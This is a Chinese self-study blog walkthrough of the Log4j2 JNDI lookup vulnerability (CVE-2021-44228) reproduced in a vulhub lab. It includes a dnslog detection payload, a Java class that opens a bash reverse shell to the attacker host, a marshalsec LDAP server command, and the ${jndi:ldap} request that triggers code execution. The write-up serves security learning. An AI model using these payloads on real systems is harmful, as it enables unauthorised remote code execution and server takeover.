Log4j2漏洞详解(自学)

上两篇讲到了JNDI注入和Fastjson反序列化漏洞。如果这两篇都能够很好理解,那么Log4j2漏洞也能够很好理解。由于这里的漏洞利用步骤跟Fastjson反序列化复现步骤差不多,就不赘述。

目录

Log4j2简介

Log4j2漏洞原理

利用条件

Log4j2远程代码执行漏洞复现

复现准备

漏洞检测

利用流程

总结


Log4j2简介

Log4j2是Apache下的流行的Java日志框架,用于记录应用程序的日志信息并进行日志管理。它提供了高度可配置的日志输出,可以将日志信息输出到控制台、文件、数据库等多种目标,被应用于业务系统开发,用于记录程序输入输出日志信息。

Log4j2漏洞原理

Log4j引入了lookup接口来支持在日志输出时获取任意位置的Java对象。通过使用lookup接口,Log4j可以通过适当的配置和调用,动态地从程序运行环境中获取所需的对象,然后将其作为日志消息的一部分输出到日志目标中。

在Log4j框架中,当处理日志消息时,会通过字符检测来查找特定的占位符(例如${})并将解析替换为实际内容,例如${java:version}会被替换为对应的Java版本,这里就是Log4j漏洞的关键所在了:如果不对lookup的出栈进行限制,恶意用户就可以构建特殊的表达式作为占位符,在解析式就会触发恶意行为。

如果Log4j的配置允许使用LDAP或RMI,那么在解析占位符时,Log4j将会执行远程服务的请求并并处理返回结果。这使得攻击者可以执行任意远程代码,造成获取敏感信息、服务器被入侵等严重后果。

影响版本:Apache Log4j 2.x<=2.15.0.rc1

利用条件

  • 打印的日志中包括LDAP/RMI协议
  • 没有对lookup的出栈进行限制
  • 允许外网访问权限

正是因为利用条件比较低,所以利用难度也较低,无需授权即可远程代码执行,所以它造成的威胁等级是严重的。

Log4j2远程代码执行漏洞复现

复现准备

跟Fastjson反序列化漏洞复现准备差不多,需要注意JDK版本

Centos:192.168.15.230

kali:192.168.15.249

先在Centos拉好vulhub环境,然后进行靶场启动

cd /vulhub/log4j/CVE-2021-44228
docker-compose up -d

查看靶场端口,是8983

docker-compose ps

 访问网站,通过一些方法(目录扫描啊之类的)可以探测到发送JSON数据的接口:http://ip:8983/solr/admin/cores,这里有个可控参数action,就是这个漏洞的注入点。

漏洞检测

上一篇Fastjson文章说到可以用dnslog来探测漏洞是否存在,这里同样也可以

Dnslog平台:Dnslog.cn

点击Get SubDomin获取一个子域名,我获取到的是:ckp5xm.dnslog.cn

可以访问url:

?action=${jndi:ldap://${sys:java.version}.ckp5xm.dnslog.cn}

 刷新Dnslog网站,可以看到有回显,而且回显了Java版本1.8.0_102,那么证明存在log4j2漏洞

利用流程

1、先编写恶意文件LogShell.java,然后进行编译放到攻击机文件夹内

public class LogShell{
    static {				//static是编译运行时最初会执行的
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.15.249/4444 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

并且在此目录开启http服务:

python -m http.server 5555

可以在浏览器上访问http://ip:5555,查看是否开启成功

2、利用Marshalsec工具开启LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.15.249:5555/#LogShell" 7777

3、然后在kali攻击端开启监听

nc -lvnp 4444

4、这里可以使用GET方法直接访问LDAP,就直接用URL(GET)访问了,Fastjson复现最后是通过POST方法让目标服务器触发LDAP服务器的

http://192.168.15.230:8983/solr/admin/cores?action=${jndi:ldap://192.168.15.249:7777/LogShell}

最终得到shell

这里也可以使用JNDI注入工具,在前面文章讲到的。

总结

Log4j2是Apache的日志框架,用来记录和管理日志信息的。Log4j2漏洞的原理是因为默认支持解析LDAP/RMI协议,且使用了占位符如{},并会解析里面的内容进行替换,所以攻击者就可以利用这一点构建特殊的恶意的占位符来进行攻击。

  • 18
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值